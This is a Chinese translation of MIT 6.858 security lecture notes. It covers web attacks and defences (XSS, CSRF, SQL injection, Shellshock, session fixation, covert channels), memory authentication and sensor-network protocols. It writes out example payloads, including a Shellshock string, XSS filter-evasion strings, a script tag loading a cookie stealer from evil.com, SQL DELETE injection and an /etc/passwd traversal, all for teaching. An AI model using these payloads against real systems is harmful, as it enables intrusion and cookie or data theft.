MIT 6.858 计算机系统安全讲义 2014 秋季（二）

% urxvt -fn xft:Monospace-20
% export NACL_SDK_ROOT=/home/nickolai/tmp/nacl_sdk/pepper_35
% cd ~/6.858/git/fall14/web/lec/nacl-demo
## this is from NaCl's tutorial part1
% vi hello.cc
% vi index.html
% make
% make serve
## copy-paste and add --no-dir-check as the error message asks
## visit http://localhost:5103/
## change hello.cc to "memset(buf, 'A', 1024);"
% make
% !python
## visit http://localhost:5103/
## ctrl-shift-J, view console 

likelihood
of correct
ness
^
|--\
|   --\                --- we are here
|      --\            /
|         \          /
|          \      <--
|           -----*----
|----------------------->
  # of features 

<script>var = "UNTRUSTED CONTENT FROM USER";</script> 

<script>var = "UNTRUSTED CONTENT"</script> 
<script> /* bad stuff from attacker here */ </script> 

 [  HTML ]     
      /       \     
[ HEAD ]     [ BODY ] 

*.mit.edu/6.858 

http://bank.com/xfer?amount=500&to=attacker 

<form action="/transfer.cgi" ...>
    <input type="hiddne" name="csrf" value="a72fedb2129985bdc"> 

<script> var x = 'UNTRUSTED'; </script>
//Single quote breaks out of JS string
//context into JS context
//
//"</script>" breaks out of JS context
//into HTML context 

 http://foo.com/index.html
+--------------------------------------------+

|  +--------------------------------------+  |

|  |        ad.gif from ads.com           |  |

|  +--------------------------------------+  |

|  +-----------------+ +------------------+  |

|  | Analytics .js   | | jQuery.js from   |  |

|  | from google.com | | from cdn.foo.com |  |

|  +-----------------+ +------------------+  |

|                                            |

|        HTML (text inputs, buttons)         |

|                                            |

|  +--------------------------------------+  |

|  | Inline .js from foo.com (defines     |  |

|  | event handlers for HTML GUI inputs)  |  |

|  +--------------------------------------+  |

|+------------------------------------------+|

|| frame: https://facebook.com/likeThis.html||

||                                          ||

|| +----------------------+ +--------------+||

|| | Inline .js from      | | f.jpg from https://

|| | https://facebook.com | | facebook.com |||

|| +----------------------+ +--------------+||

||                                          ||

|+------------------------------------------+|

|                                            | 

<embed src=...> //Requires plugin-specific  
                //elaborations. 

<form action="/transfer.cgi" ...>
    <input type="hidden"
           name="csrfToken"
           value="a6dbe323..."/> 

GET /query.cgi?searchTerm=cats HTTP 1.1
Host: www.example.com
Custom-header: Custom-value 

() { :;};  /bin/id 

Step 1: Run the CGI server.
  ./victimwebserver.py 8082
Step 2: Run the exploit script.

./shellshockclient.py localhost:8082 index.html 

Step 1: Run the CGI server.

./cgiServer.py

Step 2: In browser, load these URLs:

http://127.0.0.1/cgi-bin/uploadRecv.py?msg=hello

http://127.0.0.1/cgi-bin/uploadRecv.py?msg=<b>hello</b>

http://127.0.0.1/cgi-bin/uploadRecv.py?msg=<script>alert("XSS");</script>

//The XSS attack doesn't work for this one . . .

//we'll see why later in the lecture.
http://127.0.0.1/cgi-bin/uploadRecv.py?msg=<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
       //This works! [At least on Chrome 37.0.2062.124.]
       //Even though the browser caught the
       //straightforward XSS injection, it
       //incorrectly parsed our intentionally
       //malformed HTML.
       // [For more examples of XSS exploits via
       //  malformed code, go here:
       //      https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
       // ] </code></pre></div></div><p>为什么跨站脚本攻击如此普遍？</p><ul class="ul-level-0"><li> 动态网站在 HTML 页面中包含用户内容（例如，评论部分）。

 
 网站托管上传的用户文档。
 
 HTML 文档可以包含任意的 Javascript 代码！
 
 非 HTML 文档可能被浏览器识别为 HTML。
 
 不安全的 Javascript 程序可能直接执行来自外部方的代码（例如，eval()，setTimeout()等）。
 
XSS 防御
Chrome 和 IE 具有内置功能，使用启发式方法检测潜在的跨站脚本攻击。
 例如：请求获取封闭页面的请求中是否包含即将执行的脚本？
 
http://foo.com?q=<script src="evil.com/cookieSteal.js"/>
 如果是这样，这是有力的证据表明即将发生可疑事件！上述攻击称为“反射型 XSS 攻击”，因为服务器“反射”或“返回”攻击者提供的代码到用户的浏览器中，在受害页面的上下文中执行。
 
 这就是为什么我们在 CGI 示例中的第一个 XSS 攻击失败了–浏览器检测到 URL 中反射的 JavaScript，并在到达 CGI 服务器之前删除了末尾的</script>。
 
 然而…
 
 过滤器并不具有 100%的覆盖率，因为有许多编码 XSS 攻击的方式！[https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet]
 
这就是为什么我们的第二个 XSS 攻击成功了—浏览器被我们故意格式不正确的 HTML 搞糊涂了。
 问题：过滤器无法捕获持久性 XSS 攻击，在这种攻击中，服务器保存了攻击者提供的数据，然后永久分发给客户端。
 
 经典例子：一个允许用户发布 HTML 消息的 “评论” 部分。
 
 另一个例子：假设一个约会网站允许用户在他们的个人资料中包含 HTML。攻击者可以添加 HTML，当用户查看攻击者的个人资料时，会在不同的用户浏览器中运行！攻击者可以窃取用户的 cookie。
 
另一个 XSS 防御：“httponly” cookies.
 服务器可以告诉浏览器，客户端 JavaScript 不应该能够访问 cookie。[服务器通过在 “Set-Cookie” HTTP 响应值中添加 “HttpOnly” 令牌来实现这一点。]
 
 这只是部分防御，因为攻击者仍然可以发出包含用户 cookie 的请求（CSRF）。
 
特权分离： 使用一个单独的域来存放不受信任的内容。
 例如，Google 将不受信任的内容存储在 googleusercontent.com 中（例如，页面的缓存副本，Gmail 附件）。
 
 即使在不受信任的内容中可能存在 XSS，攻击者的代码也会在不同的来源中运行。
 
 如果 googleusercontent.com 中的内容指向 google.com 中的 URL，则仍可能存在问题。
 
内容消毒： 将不受信任的内容编码，以限制其解释方式。
 例如：Django 模板： 将输出页面定义为一堆 HTML，其中有一些 “孔” 可以插入外部内容。
 
Django 中的自动 HTML 转义
 一个模板可能包含这样的代码…
 
<b>你好 {{ name }} </b>
 … 其中 “name” 是一个变量，在页面被 Django 模板引擎处理时被解析。该引擎将获取 “name” 的值（例如，从用户提供的 HTTP 查询字符串中），然后自动转义危险字符。例如，
 
 尖括号 < 和 > --> &lt; 和 &gt;
 
 双引号 " --> &quot;
 
 这可以防止不受信任的内容将 HTML 注入到渲染页面中。
 
 模板不能防御所有攻击！例如…
 
 <div class={{ var }}>...</div>
 
 如果 var 等于 class1 onmouseover=javascript:func()
 
 … 那么根据浏览器解析格式不正确的 HTML 的方式，可能会发生 XSS 攻击。
 
 因此，内容消毒有点奏效，但解析 HTML 的方式非常难以明确。
 
 可能更好的方法：完全禁止外部提供的 HTML，并强制外部内容用一种更小的语言表达（例如，Markdown）。
 
经过验证的 Markdown 可以被转换为 HTML。
内容安全策略（CSP）： 允许 Web 服务器告诉浏览器可以加载哪种资源，以及这些资源的允许来源。
服务器指定一个或多个类型为Content-Security-Policy的头部。
代码语言：javascript
复制
Content-Security-Policy: default-src 'self' *.mydomain.com
// Only allow content from the page's domain
// and its subdomains. 
您可以为图像来源、脚本来源、框架、插件等指定单独的策略。
CSP 还防止内联 JavaScript，以及像eval()这样允许动态生成 JavaScript 的 JavaScript 接口。
一些浏览器允许服务器禁用内容类型嗅探（X-Content-Type-Options: nosniff）。
SQL 注入攻击
 假设应用程序需要根据用户输入发出 SQL 查询：
 
query = "SELECT * FROM table WHERE userid=" + userid
 问题：对手可以提供改变 SQL 查询结构的userid，例如，
 
"0; DELETE FROM table;"
 如果我们在 userid 周围添加引号会怎样？
 
query = "SELECT * FROM table WHERE userid='" + userid + "'"
 漏洞仍然存在！攻击者可以在userid的第一个字节前添加另一个引号。
 
 **真正的解决方案：**明确地对数据进行编码。
 
 例如：用’替换’等。
 
 SQL 库提供转义函数。
 
 Django 定义了一个查询抽象层，位于 SQL 之上，允许应用程序避免编写原始 SQL（尽管如果他们真的想要，也可以这样做）。
 
 （可能是假的）德国车牌上写着“;DROP TABLE”，以避免使用 OCR+SQL 的超速摄像头提取车牌号。
 
如果不受信任的实体可以提供文件名，也会遇到问题。
 例如：假设一个 Web 服务器根据用户提供的参数读取文件。
 
 open("/www/images/" + filename) 问题：文件名可能是这样的：
 
 ../../../../../etc/passwd
 
 与 SQL 注入一样，服务器必须对用户输入进行清理：服务器必须拒绝带有斜杠的文件名，或以某种方式对斜杠进行编码。
 
Django
 颇受欢迎的 Web 框架，被一些大型网站如 Instagram、Mozilla 和 Pinterest 使用。
 
 “Web 框架”是一个提供基础设施的软件系统，用于诸如数据库访问、会话管理和创建可在整个站点中使用的模板内容的任务。
 
 其他框架更受欢迎：PHP、Ruby on Rails。
 
 在企业世界中，Java servlets 和 ASP 也被广泛使用。
 
 Django 开发人员在安全方面进行了一定程度的思考。
 
因此，Django 是一个很好的案例研究，可以看到人们如何在实践中实现 Web 安全。
 Django 在安全方面可能比一些替代方案如 PHP 或 Ruby on Rails 更好，但细节决定成败。
 
正如我们将在两次讲座后讨论的那样，研究人员发明了一些提供明显更好安全性的框架。[Ur/Web：http://www.impredicative.com/ur/]
会话管理：cookie
Web 上客户端身份验证的 Do’s 和 Don’ts
Zoobar、Django 和许多 Web 框架在 cookie 中放入一个随机会话 ID。
 会话 ID 指的是 Web 服务器上某个会话表中的条目。该条目存储了一堆每个用户的信息。
 
 会话 cookie 是敏感的：对手可以使用它们来冒充用户！
 
 正如我们在上一堂课上讨论的，同源策略有助于保护 cookie……
 
 …但是不应该与您不信任的站点共享域！否则，这些站点可能发起会话固定攻击：
 
 在Wikipedia, 会话固定上了解更多信息。
 
 攻击者让受害者访问一个链接或一个设置攻击者指定的会话 ID 在受害者 cookie 中的网站。
 
 攻击者可以利用接受来自查询字符串的任何会话标识符的服务器，并给受害者一个类似lol.com/?PHPSID=abcd的 URL。
 
会话 ID 可以由攻击者选择或在攻击者登录时由服务器返回。
 或者，攻击者可以利用浏览器漏洞，允许a.example.com为b.example.com设置 cookie。攻击者让受害者访问他的网站b.website.com，为受害者的a.website.com设置 cookie。
 
 用户导航到受害者网站；攻击者选择的会话 ID 被发送到服务器并用于识别用户的会话条目。
 
 后来，攻击者可以使用攻击者选择的会话 ID 导航到受害者网站，并访问用户的状态！
 
 这里有一个很大的假设。这种攻击只对没有注意到他们登录的账户不是自己的无知受害者有效。
 
 嗯，但是如果我们不想为每个已登录用户保留服务器端状态怎么办？
 
无状态 cookie
如果您没有会话的概念，那么您需要对每个请求进行身份验证！
想法： 使用密码学验证 cookie。
原语：消息认证码（MACs）
 将其视为一个带有密钥的哈希，例如，HMAC-SHA1: H(k, m)
 
 客户端和服务器共享一个密钥；客户端使用密钥生成消息，服务器使用密钥验证消息。
 
AWS S3 REST 服务使用这种类型的 cookie：REST Authentication。
亚马逊为每个开发者提供一个 AWS 访问密钥 ID 和一个 AWS 秘密密钥。每个请求看起来像这样：
代码语言：javascript
复制
 GET /photos/cat.jpg HTTP/1.1
 Host: johndoe.s3.amazonaws.com
 Date: Mon, 26 Mar 2007 19:37:58 +0000
 Authorization: AWS AKIAIOSFODNN7EXAMPLE:frJIUN8DYpKDtOLCwoyllqDzg=
                  |___________________| |________________________|
                      Access key ID            MAC signature 
这是签名的内容（这里稍微简化了，查看上面的链接获取完整故事）：
代码语言：javascript
复制
 StringToSign = 
      HTTP-Verb     + "\n" +
      Content-MD5   + "\n" +
      Content-Type  + "\n" +
      Date          + "\n" +
      ResourceName 
请注意，这种类型的 cookie 不会在传统意义上过期（尽管如果亚马逊已经撤销用户的密钥，服务器将拒绝请求）。
您可以在特定请求中嵌入一个“过期”字段，然后将该 URL 交给第三方，如果第三方等待时间过长，AWS 将拒绝请求并标记为过期。
代码语言：javascript
复制
 AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Expires=1141889120&Signature=vjbyPxybd...
                                   |__________________|
                                  Included in the string
                                  that's covered by the
                                  signature! 
请注意，用于字符串到哈希的格式应提供明确的解析！
例如：不应允许任何组件嵌入转义字符，否则服务器端解析器可能会混淆。
问： 如何使用这种类型的 cookie 设计注销？答： 如果服务器是无状态的（关闭会话将需要一个服务器端的撤销 cookie 表），那是不可能的。
 如果服务器可以保持状态，会话 ID 会使这变得更简单。
 
 在减少服务器端内存状态和增加服务器端加密计算开销之间存在根本的权衡。
 
用于会话管理的 cookie 替代方案
 使用HTML5 本地存储，并在 Javascript 中实现自己的身份验证。
 
 一些 Web 框架像 Meteor 这样做。
 
 优势：cookie 不会通过网络发送到服务器。
 
 优势：您的身份验证方案不受复杂的同源策略对 cookie 的限制（例如，DOM 存储绑定到单个源，而 cookie 可以绑定到多个子域）。
 
 客户端 X.509 证书。
 
 优势：Web 应用程序无法窃取或明确操纵彼此的证书。
 
 **缺点：**对吊销的故事说法不够强（我们将在未来的讲座中更多地讨论这个问题）。
 
 **缺点：**用户不想为访问的每个站点管理证书，使用体验差！
 
 **利弊：**没有会话的概念，因为证书是"始终开启"的。对于重要操作，应用程序将不得不提示输入密码。
 
HTTP 协议模糊性
Web 栈存在一些协议模糊性，可能导致安全漏洞。
来自 XMLHttpRequest 的 HTTP 标头注入
Javascript 可以要求浏览器在请求中添加额外的标头。那么，如果我们这样做会发生什么呢？
代码语言：javascript
复制
 var x = new XMLHttpRequest();
 x.open("GET", "http://foo.com");
 x.setRequestHeader("Content-Length", "7");
// Overrides the browser-computed field!

x.send("Gotcha!\r\n" +

"GET /something.html HTTP/1.1\r\n" +

"Host: bar.com"); 
服务器在 foo.com 上可能会将其解释为两个单独的请求！稍后，当浏览器接收到第二个请求时，它可能会用来自 foo.com 的内容覆盖属于 bar.com 的缓存条目！
**解决方案：**防止 XMLHttpRequest 设置敏感字段如 Host: 或 Content-Length。
**要点：**明确的编码至关重要！构建可靠的转义/编码！
URL 解析（“The Tangled Web” 第 154 页）
 Flash 的 URL 解析器与浏览器略有不同。

 
 假设 URL 是 http://example.com:80@foo.com/
 
 Flash 会将来源计算为 “example.com”。
 
 浏览器会将来源计算为 “foo.com”。
 
 **不好的主意：**复杂的解析规则只是为了确定主体。
 
 **不好的主意：**重新实现复杂的解析代码。
 
这是一个滑稽/可怕的发起攻击的方式，使用存储在 .jar 格式中的 Java applet。
2007 年，Lifehacker.com 发布了一篇文章，描述了如何将 .zip 文件隐藏在 .gif 文件中。
利用图像渲染器自上而下处理文件的事实，而 .zip 文件的解压缩器通常从末尾开始向上移动。
攻击者意识到 .jar 文件基于 .zip 格式！
**因此 GIFAR 诞生了：**一半 gif，一半 jar，全是邪恶。
制作 GIFAR 非常简单：只需在 Linux 上使用 “cat” 或在 Windows 上使用 “cp”。
假设 target.com 仅允许外部方上传图像对象。攻击者可以上传一个 GIFAR，而该 GIFAR 将通过 target.com 的图像验证测试！
然后，如果攻击者能够发起 XSS 攻击，攻击者可以注入引用 “.gif” 的 HTML 作为 applet。
代码语言：javascript
复制
 <applet code="attacker.class"
        archive="attacker.gif"
        ...> 
浏览器将加载该小程序并赋予其 target.com 的权限！
隐蔽信道攻击
Web 应用程序也容易受到隐蔽信道攻击的影响。
 隐蔽信道 是一种机制，允许两个应用程序交换信息，即使安全模型禁止这些应用程序通信。
 
该信道是“隐蔽”的，因为它不使用官方的跨应用程序通信机制。
 示例 #1：基于 CSS 的嗅探攻击
 
 攻击者有一个可以说服用户访问的网站。
 
 攻击者目标： 弄清楚用户访问过的其他网站（例如，确定用户的政治观点、医疗历史等）。
 
 利用向量： 网页浏览器使用不同的颜色来显示已访问与未访问的链接！因此，攻击页面可以生成一个候选 URL 的大列表，然后检查颜色以查看用户是否访问过其中任何一个。
 
 每秒可以检查数千个 URL！
 
 可以先广度优先，找到顶级域的命中，然后对每个命中进行深度优先。
 
 修复： 强制 getComputedStyle() 和相关的 JavaScript 接口始终表示链接未访问。[https://blog.mozilla.org/security/2010/03/31/plugging-the-css-history-leak/]
 
 示例 #2：基于缓存的攻击
 
 攻击者的设置和目标与以前相同。
 
 利用向量： 浏览器访问缓存的数据比通过网络获取数据要快得多。因此，攻击页面可以生成候选图像列表，尝试加载它们，并查看哪些加载速度快！
 
 如果候选图像来自地理特定图像，例如 Google 地图瓦片，此攻击可以揭示您的位置。[http://w2spconf.com/2014/papers/geo_inference.pdf]
 
 修复： 没有好的方法。一个页面永远不会缓存对象，但这会影响性能。但是，假设一个站点不缓存任何内容。那么它是否免受历史嗅探的影响？不是！
 
 示例 #3：基于 DNS 的攻击
 
 攻击者的设置和目标与以前相同。
 
 利用向量： 攻击页面生成对各个域中对象的引用。如果用户已经访问过该域中的对象，主机名将已经存在于 DNS 缓存中，使得后续对象访问更快！[http://sip.cs.princeton.edu/pub/webtiming.pdf]
 
 修复： 没有好的方法。可以使用原始 IP 地址作为链接，但这会破坏很多东西（例如，基于 DNS 的负载平衡）。但是，假设一个站点不缓存任何内容并使用原始 IP 地址作为主机名，那么它是否免受历史嗅探的影响？不是！
 
 示例 #4：渲染攻击。
 
 攻击者的设置和目标与以前相同。
 
 利用向量： 攻击者页面在 iframe 中加载一个候选 URL。在浏览器获取内容之前，攻击者页面可以访问… window.frames[1].location.href …并读取攻击者设置的值。然而，一旦浏览器获取了内容，访问该引用将由于同源策略而返回“未定义”。因此，攻击者可以轮询该值并查看变为“未定义”需要多长时间。如果需要很长时间，那么页面必定没有被缓存！[http://lcamtuf.coredump.cx/cachetime/firefox.html]
 
 修复： 停止使用计算机？
 
一个网页也需要安全地使用 postMessage()。
 来自不同来源的两个框架可以使用 postMessage()异步交换不可变字符串。
 
 发送方获取一个窗口对象的引用，并执行以下操作：window.postMessage(msg, origin);
 
 接收方为特殊的“消息”事件定义事件处理程序。事件处理程序接收消息和来源。
 
 Q: 接收方为什么要检查接收到的消息的来源？
 
 A: 为了对发送方执行访问控制！如果接收方实现了敏感功能，它不应该响应来自任意来源的请求。
 
 常见错误： 接收方使用正则表达式来检查发送方的来源。
 
 即使来源匹配 /.foo.com/，也不意味着它来自 foo.com！可能是"xfoo.com"，或者"www.foo.com.bar.com"。
 
更多细节：邮差总是两次敲门
 Q: 为什么发送方必须指定接收方的预期来源？
 
 A: postMessage()应用于窗口，而不是来源。
 
 请记住，攻击者可能能够将窗口导航到不同的位置。
 
 如果攻击者导航窗口，另一个来源可能会接收消息！
 
 如果发送方明确指定目标来源，浏览器在传递消息之前会检查接收方的来源。
 
更多细节：在浏览器中保护框架通信
构建安全 Web 应用程序还有许多其他方面。
 例如：确保服务器端操作的适当访问控制。
 
Django 提供 Python 装饰器来检查访问控制规则。
 例如：维护日志以进行审计，防止攻击者修改日志。
 
内存认证（Marten van Dijk 的笔记）
阅读： R. Elbaz, D. Champagne, C. Gebotys, R.B. Lee, N. Potlapally 和 L. Torres, “内存认证的硬件机制：现有技术和引擎综述”, 计算机科学交易, pp. 1-22, 2009.
模型（假设、安全需求、可能的攻击）：
什么是内存认证？验证处理器从给定地址读取的数据是否是它最后写入该地址的数据。
为什么需要内存认证？能够破坏内存空间的对手可以影响受信任计算平台执行的计算。假设：提供包括内存在内的防篡改环境成本太高。受信任的计算平台是具有有限片上存储的单芯片安全处理器。它对所有物理攻击具有抵抗力，包括侵入性攻击。每当敏感计算完成时，需要验证计算过程中片外内存操作序列的真实性。请注意，根据应用程序的不同，这可能会经常发生，或者有时发生。这导致不同的认证策略（基于树或非基于树）。
有一个对所有物理攻击具有抵抗力的单芯片处理器是现实的吗？可能只有对成本不太高的所有物理攻击具有抵抗力是可以接受的。这排除了由普通黑客执行的攻击。我们不试图防范由有权访问昂贵实验室的工程师执行的攻击。所需的安全性（及其成本）是业务模型的一部分。
数据完整性指的是检测任何对数据的敌对破坏或篡改的能力。它与内存认证有什么关系？内存认证意味着数据完整性。
内存认证的目标是防范篡改片外内存内容的主动攻击。这些主动攻击是什么？欺骗：现有内存块被替换为任意伪造的内存块。拼接/重定位：将地址 A 处的内存块替换为地址 B 处的内存块。重放：在给定地址处记录的内存块在以后的某个时间点插入到同一地址处。
什么是软件攻击？软件攻击是由受损操作系统或恶意应用程序执行的主动攻击。即使操作系统内核被设计为将敏感应用程序与恶意软件隔离，我们也不能信任操作系统。目前，我们不会考虑软件攻击。
还有哪些安全需求值得关注？访问控制；应用程序不应能够访问彼此的特定数据。数据保密性；加密敏感数据以确保隐私。
为什么这些需求还不够？攻击者可能操纵加密数据。因此，我们还需要内存认证。
加密敏感数据是否真的确保隐私？内存访问模式的相关性如何？这可能泄露有关应用程序性质以及与其共享内存的其他应用程序之间的关系的信息。
解决方案（基于树的解决方案和非基于树的解决方案）：
内存认证的一个天真解决方案是什么？在芯片存储器中存储整个内存的摘要。不可接受。
下一个最佳解决方案是什么？存储每个内存块（缓存块）的摘要，参见图 3(a)。减少内存带宽开销，但需要太多（昂贵）的芯片内存。
什么是稍微更好的解决方案？在芯片内存上使用随机数成本更低，参见图 3(b)。如果随机数生成器超出范围，需要重置密钥 k 并更新所有内存（这可以在空闲时间完成）。随机数生成器需要输出唯一的随机数吗？不同地址的随机数需要不同吗？不需要，如果我们将每个 MAC 计算为密钥 k、随机数 N 和地址 A 的函数。因此，我们可以使用较小的随机数，从而减少芯片内存。当特定地址的较小随机数用尽时，该地址在重置密钥 k 之前无法使用。如果我们使用 16 位的较小随机数，可以使用随机随机数吗？不可以，以 1/2¹⁶ 的概率会导致冲突，可能会导致攻击。我们需要确定性随机数：对于每次更新，只需将相应的随机数递增 1。
如何添加数据保密性？将 MAC 替换为加密 E，参见图 3©。
什么技巧可以改进当前的解决方案？具有哈希（Merkle 树）、MAC + 随机数或 E + 随机数的完整性树。参见图 5。它是如何工作的？Merkle 树更新过程是顺序的：在更新下一个分支节点之前，必须完成分支中新哈希节点的计算。PAT 读取和更新过程是可并行化的，它是如何工作的？一个中间节点存储其子节点中存储的随机数的 MAC，这些都是事先已知的。中间节点不存储其子节点中存储的 MAC 的 MAC（这将类似于 Merkle 树）。TEC-Tree 使用加密，不存储随机数。在更新期间如何检索随机数？使用解密。读取和更新的混合是否可并行化？不可以。
我们如何找到父节点的地址？使用树遍历，导致（公式 1）。
如何利用缓存以提高性能？树读取和更新过程在遇到缓存的哈希或根时终止。
什么是盆景 Merkle 树？使用许多使用计数器/随机数的较小树。存储它们的根。使用特殊树保护计数器，并存储其中间节点和叶子。参见图 6。注意声明“每次本地计数器翻转时都需要对整个页面进行加密处理”。不要担心此方法的细节。只需注意与我们在图 3(b)中呈现的解决方案的讨论的相似性。
如果操作系统不可信，我们需要做什么？构建一个完整性树，仅覆盖属于应用程序的页面，并且只能在应用程序本身运行时更新。页表将页面的虚拟地址映射到其物理地址。分支接种攻击会破坏与给定内存块的虚拟地址对应的物理地址，参见图 7。因此，我们需要在虚拟地址空间上构建一棵树。受保护应用程序生成的虚拟地址用于遍历树。存在哪些缺点？不可扩展：需要大量的内存容量（为初始化期间定义的 2⁶⁴ 字节叶节点的物理页框分配，以及为非叶树节点分配内存），以及大量的初始化开销（初始化这样的树需要太长时间）。我们还需要为每个需要保护的应用程序引入一个完整的树，而不是一个单独的树来保护物理内存中的所有软件。我们如何尝试部分克服这些问题？引入一个新的硬件单元，在一个缩小的地址空间上构建一个完整性树，该空间仅包含应用程序执行所需的页面（随着应用程序内存占用的增加而动态增长）。
无树结构的内存认证：Lhash 专为需要在一系列内存操作之后进行完整性检查的应用程序设计（与树方案中的每个内存操作进行检查相反）。它使用多重集哈希函数在运行时维护内存位置的写入和读取日志，称为 WriteHash 和 ReadHash。这些日志存储在芯片上。在初始化时，WriteHash 计算在需要认证的内存区域中属于内存块的内存块上。当执行芯片外写入或从缓存中驱逐脏缓存块时，WriteHash 在运行时更新。WriteHash 随时反映芯片外内存状态。当执行芯片外读取或将块带入缓存时，ReadHash 会更新。要检查一系列操作的完整性，需要读取属于内存区域的所有块，之后 ReadHash 应该等于 WriteHash。
多重集哈希函数的要求：压缩（保证我们可以将哈希存储在有限的内存中）、可比性（一个比较哈希的概率算法，因为多重集不总是哈希到相同的值）、增量性（将多重集的哈希相加得到多重集的并集的哈希）、以及多重集碰撞抗性（计算上不可行找到两个不同的多重集哈希到相似哈希的）。
相关主题：
相关主题：数据认证对称多处理器：需要考虑在缓存到缓存传输中进行总线事务认证，这在缓存一致性协议中是必需的，参见图 8。
相关主题：如何利用不受信任的服务器为大量目录提供可信存储，其中每个目录中的文件可能由几个不同设备访问和更新，这些设备可能在不同时间离线，并且除了通过不受信任的服务器（在不受信任的网络上）之外，它们可能无法相互通信。多用户网络文件系统 SUNDR 提供了对分叉攻击的保护，这是一种攻击形式，其中服务器使用重放攻击使不同用户对系统的当前状态有不同的视图。然而，它并不会立即检测到分叉攻击。相反，它提供分叉一致性，这基本上确保系统服务器要么行为正确，要么其故障或恶意行为将在稍后的某个时刻被检测到，当用户能够相互通信时（例如，每天晚上一次）。如果不受信任的服务器具有可以信任的时间戳设备（例如，通过使用嵌入式可信平台模块），则可以立即检测到分叉和重放攻击。
相关主题：云存储。客户端希望确保其数据的副本存在。检索性证明（POF）是服务器生成的包含证据的短消息，证明客户端数据的正确版本存储在服务器上。这使客户能够有效地检查其数据是否得到充分备份（查看有关 T-mobile 数据丢失的最新消息！）。
相关主题：稀疏内存。通过使用经过身份验证的搜索树，可以生成一个证明，证明对应于加密地址的叶子不存在。这可以防止存储值的存在性被否认（稀疏内存所需），重放攻击和未经授权的访问。
无线传感器网络（Marten van Dijk 的笔记）
**阅读：**A. Perrig, R. Szewczyk, J.D. Tygar, V. Wen, and D.E. Culler, “SPINS: Security Protocols for Sensor Networks”, Wireless Networks 8, 521-534, 2002.
模型（假设、安全需求、可能的威胁）：
什么是传感器网络？成千上万的小传感器形成自组织的无线网络。传感器具有有限的处理能力、存储、带宽和能量（这降低了生产成本）。例如，使用 TinyOS，一个小型的事件驱动操作系统，见表 1。如果第三方可以读取或篡改传感器数据，会引发严重的安全和隐私问题。
例子：应急响应信息，能源管理，医疗监测，物流和库存管理，战场管理。
无线传感器网络（WSN）和移动自组织网络（MANET）之间有什么区别？WSN 中的传感器节点数量可以比 MANET 中的节点数量大几个数量级。传感器节点密集部署。传感器节点容易发生故障。WSN 的拓扑结构变化非常频繁。传感器节点主要使用广播通信范式，而大多数 MANET 基于点对点通信。传感器节点在处理能力、存储、带宽和能量方面受限。
传感器节点的组成部分是什么？带有传感器和模数转换器（ADC）的感知单元。带有存储器的处理器。收发器。电源单元。
基站的功能是什么？更多的电池电力，足够的内存，与外部网络通信的手段。
信任假设是什么？个体传感器不可信任。已知所有传感器中被损坏的比例存在上限。通信基础设施不可信任（除了消息以非零概率传递到目的地）。传感器节点信任它们的基站。每个节点信任自己。
什么是协议栈？物理层：简单但稳健的调制、传输和接收技术；负责频率选择、载波频率生成、信号检测、调制。数据链路层：介质访问控制（MAC）协议必须具有节能功能，并能够最小化与邻居广播的冲突，无线多跳自组织网络中的 MAC 协议创建网络基础设施（由于节点移动性和故障导致拓扑结构变化，周期性传输信标允许节点创建路由拓扑），并在传感器节点之间有效共享通信资源（已提出固定分配和随机访问版本），数据链路层还实现错误控制和数据加密 + 安全。网络层：路由传输层提供的数据，与外部网络进行互联，设计原则是功耗效率，数据聚合仅在不妨碍传感器节点协作努力时才有用，基于属性的寻址和位置感知。传输层：在应用需要时帮助维持数据流，特别是当系统计划通过互联网或其他外部网络访问时。应用层：大部分尚未探索。
什么是性能指标？容错性或可靠性：是指在没有传感器节点故障（非敌对性，如缺乏电力、物理损坏、环境干扰）的情况下维持传感器网络功能的能力，它被建模为泊松分布 e^{-lambdat}，以捕捉在时间间隔（0，t）内没有故障的概率。可扩展性：支持更大网络的能力，对网络规模增加后仍具有灵活性，能够利用更密集的网络（密度表示每个节点传输半径内的节点数量；它等于 Npi*R²/A，其中 N 是区域 A 中散布的传感器节点数量，R 是无线传输范围）。效率：存储复杂性（存储证书、凭证、密钥所需的内存量），处理复杂性（安全原语和协议所需的处理器周期数量），通信复杂性（为了提供安全而交换的消息数量和大小的开销）。网络连通性：两个相邻传感器能够共享密钥的概率（为了提供预期功能，需要足够的密钥连通性）。网络弹性：抵抗节点被捕获的能力；对于每个 c 和 s，c 受损传感器能够破坏 s 链接的概率是多少（通过重建相应的共享秘钥）？
安全性要求是什么？可用性：确保整个 WSN 提供的服务，任何部分或单个节点在需要时必须可用。安全服务的退化：随着资源可用性的变化，能够改变安全级别。生存能力：在断电、故障或攻击的情况下提供最低级别的服务（需要阻止拒绝服务攻击）。
身份验证：在授予有限资源或透露信息之前，对其他节点、簇首和基站进行身份验证。完整性：确保消息或实体不被篡改（数据完整性通过数据认证实现）。新鲜度：确保每条消息都是新鲜的、最新的（检测重放攻击）。
机密性：提供无线通信通道的隐私（通过监听或隐蔽通道防止信息泄露），需要语义安全，确保窃听者对明文没有任何信息，即使它看到相同明文的多次加密（例如，将明文与随机比特串连接，但这需要发送更多数据并消耗更多能量）。不可否认性：防止恶意节点隐藏其活动（例如，它们无法否认其签署的陈述的有效性）。
解决方案（SNEP、微型 TESLA、密钥分发）：
设计安全性的限制是什么？安全性需要限制处理能力的消耗。有限的电源供应限制了密钥的寿命。工作内存无法保存用于 RSA 等非对称加密算法的变量。创建和验证签名的开销很高。需要限制通信。
SNEP：A 和 B 共享一个主密钥，用于派生加密密钥 K_AB 和 K_BA，以及 MAC 密钥 K’AB 和 K’BA。A 和 B 同步计数器值 C_A=C_B。从 A 到 B 的通信：{Data}[K_AB,C_A] = Data XOR E{K_AB}(C_A) 以及 MAC_{K’AB}({Data}[K_AB,C_A]||C_A)，参见公式（1）。MAC 计算如图 3 所示，使用 CBC 模式。这提供了语义安全、数据认证、弱新鲜度（如果消息验证正确，接收者知道消息必须在其（接收者）正确接收的上一条消息之后发送），低通信开销（计数器值不会被发送）。
强新鲜度：参见公式（2），如果 B 从 A 请求消息，那么 B 向 A 传输一个随机数，并且 A 将此随机数包含在其发送给 B 的通信的 MAC 中。如果 MAC 验证正确，B 知道 A 在 B 发送请求后生成了响应。
同步计数器值：请参阅第 5.2 节中的简单引导协议，随时可以使用具有强新鲜度的上述协议来请求当前计数器值。为防止拒绝服务攻击，在上述协议中允许每个加密消息传输计数器，或者附加另一个不依赖于计数器的短 MAC 到消息中。
